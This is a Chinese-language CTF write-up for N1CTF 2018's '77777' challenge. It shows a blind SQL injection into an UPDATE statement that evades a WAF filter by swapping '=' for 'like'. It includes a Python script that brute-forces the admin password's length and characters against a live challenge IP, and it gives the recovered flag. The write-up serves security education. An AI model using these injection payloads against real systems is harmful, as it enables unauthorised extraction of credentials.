N1CTF2018 77777 writeup
序
之前比赛开始时看了签到题,死活没写出来,泪,之后听同学说起了这道题,在结束前不到一小时做了做,无奈比赛结束,flag没交上去,那就记录一下过程吧
题目:77777
“77777” is my girlfriend’s nickname
先重点看一下题目给的一小段代码,代码如下
代码接收post参数中的flag和hi,拼接后更新数据库的points值,并在http://47.97.168.223/#profile
页面中显示points值,简单来说,post参数可控,我们可以提交参数构造数据库中女朋友的points,并且在页面显示points值
update users set points='post过来的flag和hi拼接后的结果'
当然hi是经过waf函数处理的,看来是绕waf的注入,简单了测试了一下,过滤了updatexml,extractvalue,database()等函数,报错回显这个思路暂时放弃了,因为information_schema也被过滤了,做起来会很麻烦
题目的第二个提示
the flag is `admin's password`:)
猜测数据库里有password字段,由此想到第二个思路,提交:
flag=任意数字&hi=任意数字 and (构造逻辑判断)
数据库语句变为:
update users set points=任意数字 and (构造逻辑判断)
如果逻辑判断为真,将points值更新为1,为假则更新为0,构造逻辑判断的时候发现=也被过滤,用like替代即可,思路有了开始写脚本
import requests
import string
list=string.maketrans("","")[33:127]#所有可显示字符,后面猜测password内容使用
url="http://47.97.168.223/#profile"#显示分数页面
#read password
#i=0
#while 1:
# payload={'flag':1,'hi':'1 and length(password) like %d'%(i)}
# html=requests.post(url=url,data=payload).content
# if "<grey>My Points</grey> | 1<br/>" in html:#points为1说明长度正确,输出并break
# print i
# break
# else:
# i=i+1
#password length is 13
#read password
i=0
for i in range(1,14):
for j in list:
payload={'flag':1,'hi':"1 and substr(password,%d,1) like '%s'"%(i,j)}
html=requests.post(url=url,data=payload).content
if "<grey>My Points</grey> | 1<br/>" in html:#points为1说明内容正确,输出并break
print j
break
#flag is HE3L3LOCAT233
脚本通过1 and length(password) like %d
来判断password长度为13,为真时页面points显示为1,否则为0
然后1 and substr(password,%d,1) like '%s'
循环判断password内容,为真时页面的points值显示为1,否则为0
flag为N1CTF{HE3L3LOCAT233}